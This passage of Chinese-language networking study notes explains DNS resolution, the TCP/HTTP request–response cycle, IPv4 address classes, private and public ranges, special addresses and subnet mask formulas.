- 二级域服务器最终返回域名对应的IP 地址。
-
本地 DNS 缓存该 IP 后,将结果返回给用户设备,完成 “域名→IP” 的转换。
连接与请求服务器过程
拿到服务器 IP 后,用户设备与服务器通过 TCP(保障可靠传输)+ HTTP(定义应用层通信规则) 完成交互,流程如下:
-
TCP 三次握手,建立连接:
HTTP 依赖 TCP 的 “可靠性”,客户端先与服务器的 HTTP 默认端口(如 80 端口)进行
三次握手,确认通信能力,建立 TCP 连接。
-
发送 HTTP 请求报文:
TCP 连接建立后,客户端向服务器发送
HTTP 请求报文,明确需要的资源(如网页路径、请求方式等)。
-
服务器处理请求:
服务器的 Web 服务(如 Nginx/Apache)接收请求,根据内容(页面路径、参数等)处理逻辑(如读取网页文件、执行后端代码)。
-
返回 HTTP 响应报文:
服务器处理完成后,生成
HTTP 响应报文(包含请求的资源,如 HTML、图片等),通过 TCP 连接传回客户端。
-
TCP 四次挥手,断开连接:
数据传输完成后,客户端与服务器通过四次挥手有序断开 TCP 连接,释放通信资源。
IP地址
IP地址组成
它们可唯一标识 IP 网络中的每台设备 ,每台主机(计算机、网络设备、外围设备)必须具有唯一的地址
IP地址由两部分组成
-
网络 ID:标识网络,每个网段分配一个网络ID,处于高位
-
主机 ID:标识单个主机,由组织分配给各设备,处于低位
IPv4地址格式:点分十进制记法
IP地址分类
类别 | 地址范围 | 核心用途 | 网络 ID / 主机 ID 位数 | 网络数 | 每网络主机数 | 默认子网掩码 | 私网地址范围 |
---|---|---|---|---|---|---|---|
A 类 | 0-127.X.Y.Z | 大型网络 | 网络 ID8 位 / 主机 ID24 位 | 126 | 16777214 | 255.0.0.0 | 10.0.0.0 |
B 类 | 128-191.X.Y.Z | 中型网络 | 网络 ID16 位 / 主机 ID16 位 | 16384 | 65534 | 255.255.0.0 | 172.16.0.0-172.31.0.0 |
C 类 | 192-223.X.Y.Z | 小型网络 | 网络 ID24 位 / 主机 ID8 位 | 2097152 | 254 | 255.255.255.0 | 192.168.0.0-192.168.255.0 |
D 类 | 224-239.X.Y.Z | 组播(多播) | 无网络 / 主机 ID 划分 | - | - | - | - |
E 类 | 240-255.X.Y.Z | 保留未使用 | 无网络 / 主机 ID 划分 | - | - | - | - |
ipv4 2^32
ipv6 2^128
公共和私有IP地址
公共和私有地址
私有IP地址:不直接用于互联网,通常在局域网中使用
类 | 私有地址范围 |
---|---|
A | 10.0.0.0 到 10.255.255.255 |
B | 172.16.0.0 到 172.31.255.255 |
C | 192.168.0.0 到 192.168.255.255 |
公共IP地址
公共IP地址:互联网上设备拥有的唯一地址
类 | 公共IP地址范围 |
---|---|
A | 1.0.0.0 到 9.255.255.255 11.0.0.0 到 126.255.255.255 |
B | 128.0.0.0 到 172.15.255.255 172.32.0.0 到 191.255.255.255 |
C | 192.0.0.0 到 192.167.255.255 192.169.0.0 到 223.255.255.255 |
特殊地址
IP 地址段 | 核心性质 | 关键用途 / 特征 |
---|---|---|
0.0.0.0 | 非真实 IP,“万能地址” | 代表 “所有不清楚的主机 / 目的网络”,常用于配置(如服务器监听所有网卡、默认路由指向),不用于实际通信。 |
255.255.255.255 | 限制广播地址 | 仅在同一广播域内生效,发送给该地址的数据包会被域内所有主机接收,用于本地网段的广播通知。 |
127.0.0.1 ~ 127.255.255.254 | 本机回环地址 | 仅用于本机内部测试(如测试网卡、本地服务连通性),数据包不经过物理网卡,不会出现在实际传输介质中。 |
224.0.0.0 ~ 239.255.255.255 | 组播(多播)地址 | 用于 “一对多” 通信,如 224.0.0.1 指向所有主机、224.0.0.2 指向所有路由器,常见于多媒体、OSPF 路由协议。 |
169.254.x.x(x 为 0-255) | DHCP 失败自动分配地址 | Windows 主机无法从 DHCP 服务器获取 IP 时,系统自动分配的临时地址,用于临时局域网通信(非互联网访问)。 |
保留地址
范例: 172.16.0.0 网络中的两个地址:172.16.0.0(网络地址) 172.16.255.255(广播地址)
子网掩码
子网掩码:用来绝定局域网(网段中)最多有多少台机器
子网掩码:网络位,主机位
PREFIX=24
NETMASK=255.255.255.0
子网掩码计算器
相关公式
- 一个网络的最多的主机数=2主机ID位数-2
- 网络(段)数=2网络ID中可变的位数
- 网络ID=IP与netmask